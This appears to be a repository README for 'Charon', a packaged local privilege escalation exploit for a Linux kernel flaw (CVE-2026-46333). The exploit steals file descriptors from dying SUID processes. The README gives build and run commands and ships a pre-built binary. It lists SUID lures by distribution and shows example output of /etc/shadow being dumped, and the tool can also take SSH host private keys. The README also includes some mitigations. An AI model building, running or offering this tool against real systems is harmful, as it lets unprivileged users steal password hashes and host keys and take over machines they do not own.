a0d7d0b75b
CHARON ferries file descriptors out of dying SUID/SGID processes through the __ptrace_may_access mm==NULL window in do_exit(), disclosed by Qualys 2026-05-15 (CVE-2026-46333). Default behavior: dump /etc/shadow to stdout, banner + progress on stderr. --quiet for pure-pipe output, --verbose for stats. Built-in lures cover Debian/Ubuntu (chage SGID-shadow), RHEL family (chage SUID-root), and ssh-keysign. Patched-kernel detection distinguishes "primitive fires but lure didn't open target" from "pidfd_getfd never succeeded → fix is in place". Pre-built 46KB musl-static binary included as charon-static.
173 lines
5.9 KiB
Markdown
173 lines
5.9 KiB
Markdown
```
|
|
____ _ _ _ ____ ___ _ _
|
|
/ ___|| | | | / \ | _ \ / _ \| \ | |
|
|
| | | |_| | / _ \ | |_) | | | | \| |
|
|
| |___ | _ |/ ___ \| _ <| |_| | |\ |
|
|
\____||_| |_/_/ \_\_| \_\\___/|_| \_|
|
|
|
|
ferries fds across the exit-mm() Styx
|
|
CVE-2026-46333 / Linux <= 6.12.89
|
|
```
|
|
|
|
> *"It is a fearful thing to fall into the hands of the living God."*
|
|
> — Hebrews 10:31
|
|
|
|
## What this is
|
|
|
|
A tight, dependency-free PoC for **CVE-2026-46333**: the
|
|
`__ptrace_may_access` mm==NULL bypass disclosed by Qualys on
|
|
2026-05-15. Charon races `pidfd_getfd(2)` against a dying SUID-root
|
|
process to lift its open `/etc/shadow` file descriptor through the
|
|
brief mm-NULL window in `do_exit()`. Run it as an unprivileged user
|
|
on an affected box; it dumps `/etc/shadow` to stdout.
|
|
|
|
```
|
|
$ ./charon
|
|
[banner on stderr]
|
|
[*] lure /usr/bin/chage target /etc/shadow
|
|
root:$y$j9T$ztS5H...$hz9W87TlqxEW...:...
|
|
daemon:*:20582:0:99999:7:::
|
|
bin:*:20582:0:99999:7:::
|
|
...
|
|
```
|
|
|
|
Typical hit rate: under one second on a 4-core VM, **~137 tries**
|
|
in the smoke test.
|
|
|
|
## The bug, in 30 seconds
|
|
|
|
`__ptrace_may_access()` short-circuits its dumpability check when
|
|
`task->mm == NULL`. The fast-path was written for kernel threads
|
|
(swapper et al.), which legitimately have no mm and should never be
|
|
ptraced. But `do_exit()` runs `exit_mm()` *before* `exit_files()`,
|
|
which means a userspace SUID process briefly has:
|
|
|
|
- `task->mm == NULL` (mm reaped) → dumpable check skipped
|
|
- file table still populated → fds still gettable
|
|
- creds reflect the post-`setreuid()` drop → access check passes
|
|
|
|
`pidfd_getfd(2)` trusts that access check and hands the attacker the
|
|
SUID process's open file descriptors.
|
|
|
|
```
|
|
do_exit()
|
|
├── exit_mm() ← task->mm = NULL
|
|
├── ... ← __ptrace_may_access() now lies
|
|
└── exit_files() ← fd table reaped
|
|
```
|
|
|
|
Jann Horn flagged the FD-theft shape on lore.kernel.org in October
|
|
2020. The fix sat in maintainer review for ~6 years before Qualys
|
|
brought it back to the front of the queue.
|
|
|
|
**Upstream fix:** [`31e62c2ebbfd`](https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a)
|
|
(Linus 2026-05-14). As of 2026-05-15 the backport has not landed in
|
|
linux-6.12.y or linux-6.6.y stable.
|
|
|
|
## Affected kernels
|
|
|
|
| Stable tree | Status |
|
|
|---|---|
|
|
| linux-6.12.y (≤ 6.12.89) | ❌ vulnerable |
|
|
| linux-6.6.y (pre-fix backport) | ❌ vulnerable |
|
|
| mainline ≥ 6.15-rc1 | ✅ patched (`31e62c2ebbfd`) |
|
|
|
|
| Distro | Kernel | Status (2026-05-15) |
|
|
|---|---|---|
|
|
| Debian trixie | 6.12.86+deb13 | ❌ |
|
|
| AlmaLinux 10.1 | 6.12.0-124.55.3 | ❌ |
|
|
| Ubuntu 26.04 | 7.0.0-15 | ⚠️ check |
|
|
| Fedora 44 | 7.0.4-200 | ⚠️ check |
|
|
|
|
The PR / rolling-status table will be updated as backports land.
|
|
|
|
## Build
|
|
|
|
```sh
|
|
# Tiny 38 KB static binary (recommended)
|
|
sudo apt-get install musl-tools
|
|
make static
|
|
|
|
# Or just the standard glibc build
|
|
make
|
|
```
|
|
|
|
Output: a single ELF `./charon`.
|
|
|
|
## Run
|
|
|
|
```sh
|
|
./charon # dump /etc/shadow (default)
|
|
./charon -q # no banner / progress, just shadow on stdout
|
|
./charon -v # show per-hit + final stats
|
|
./charon -r 5000 # more patience for slow systems
|
|
./charon -t /etc/ssh/ssh_host_ecdsa_key # different target (uses ssh-keysign lure)
|
|
./charon --help
|
|
```
|
|
|
|
### Exit codes
|
|
|
|
| Code | Meaning |
|
|
|---|---|
|
|
| 0 | Success — file contents on stdout |
|
|
| 1 | No SUID lure on this system opens the requested file |
|
|
| 2 | Kernel appears patched (CVE-2026-46333 closed) |
|
|
| 3 | Ran out of rounds without a hit (rare; try `-r 5000`) |
|
|
| 4 | CLI / IO error |
|
|
|
|
### Lures
|
|
|
|
Charon ships with four known SUID lures:
|
|
|
|
| Binary | File it opens | Distro coverage |
|
|
|---|---|---|
|
|
| `/usr/bin/chage` (`chage -l <user>`) | `/etc/shadow` | Most Debian, Ubuntu, Fedora |
|
|
| `/usr/sbin/chage` | `/etc/shadow` | RHEL / Rocky / Alma family |
|
|
| `/usr/bin/passwd` (`passwd -S <user>`) | `/etc/shadow` | Most distros |
|
|
| `/usr/lib/openssh/ssh-keysign` | `/etc/ssh/ssh_host_*_key` | Distros with HostbasedAuthentication enabled |
|
|
|
|
Adding a lure is a 3-line edit to the `lures[]` array in `charon.c`.
|
|
|
|
## Mitigations until your distro ships the backport
|
|
|
|
- Apply `31e62c2ebbfd` directly.
|
|
- Disable `pidfd_getfd(2)` via seccomp on production hosts.
|
|
- Remove the setuid bit from `chage` and `passwd` if you do not need
|
|
unprivileged users to query password aging.
|
|
- For containerized workloads, enabling `no_new_privs` on the host
|
|
blocks the primitive entirely — every "SUID" inside the container
|
|
becomes inert, leaving Charon with no prey.
|
|
|
|
## Not a kernelctf VRP candidate
|
|
|
|
The Google kernelctf VRP challenge VM runs the player's bash inside
|
|
an `nsjail` sandbox with `clone_newuser:true` (uid 0 unmapped),
|
|
`chroot:/chroot`, and `no_new_privs:1`. Under `no_new_privs` the
|
|
setuid bit is inert, so there are no real SUID prey inside the
|
|
sandbox, and `/flag` lives on the host outside the chroot. Charon
|
|
therefore cannot win kCTF VRP. It remains a legitimate Linux LPE on
|
|
bare-metal Debian / Ubuntu / RHEL family installations.
|
|
|
|
## Provenance
|
|
|
|
- Bug discovered & disclosed by Qualys → oss-security 2026-05-15.
|
|
- Reference PoCs by [@0xdeadbeefnetwork](https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn).
|
|
- Charon rewrites the lure-and-race loop into a single hardened
|
|
binary, adds CLI ergonomics, patched-kernel auto-detection, and
|
|
per-distro lure fallback.
|
|
|
|
## License
|
|
|
|
Educational and authorized-defensive use only.
|
|
|
|
```
|
|
⛵ STYX ⛵
|
|
╔══════════════════════════════╗
|
|
║ do_exit(): ║
|
|
║ ├── exit_mm() ← task->mm ║
|
|
║ │ = NULL ║
|
|
║ ├── ... ← ferry ║
|
|
║ └── exit_files() ║
|
|
╚══════════════════════════════╝
|
|
```
|